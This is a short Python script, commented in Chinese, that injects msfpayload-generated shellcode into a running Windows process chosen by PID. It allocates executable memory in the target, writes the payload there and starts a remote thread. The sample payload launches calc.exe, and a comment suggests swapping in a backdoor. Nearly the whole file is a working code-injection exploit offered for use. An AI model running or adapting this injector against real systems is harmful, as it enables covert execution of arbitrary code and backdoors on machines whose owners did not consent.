#-*-coding:utf-8-*-

import sys

from ctypes import *

PAGE_EXECUTE_READWRITE=0x00000040

PROCESS_ALL_ACCESS=(0x000F0000|0x00100000|0xFFF)

VIRTUAL_MEM=(0x1000|0x2000)

kernel32=windll.kernel32

pid=int(sys.argv[1])

if not sys.argv[1]:

print 'Code Injector: ./code_injector.py <PID to inject>'

sys.exit(0)

#shellcode使用msfpayload生成的，我这里是一个计算器，当然你可以直接生成一个后门程序

#生成代码：msfpayload windows/exec CMD = calc.exe EXITFUNC=thread C　

shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"

"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d"

"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"

"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"

"\x2e\x65\x78\x65\x00")

code_size=len(shellcode)

# 获取我们要注入的进程句柄

h_process=kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:

print '[*]Could not acquire a handler to PID: %s' % pid

sys.exit(0)

# 为我们的shellcode申请内存

arg_address=kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# 在内存中写入shellcode

written=c_int(0)

kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))

# 创建远程线程，指定入口为我们的shellcode头部

thread_id=c_ulong(0)

if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):

print "[*] Failed to inject shellcode. Exiting."

sys.exit(0)

print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value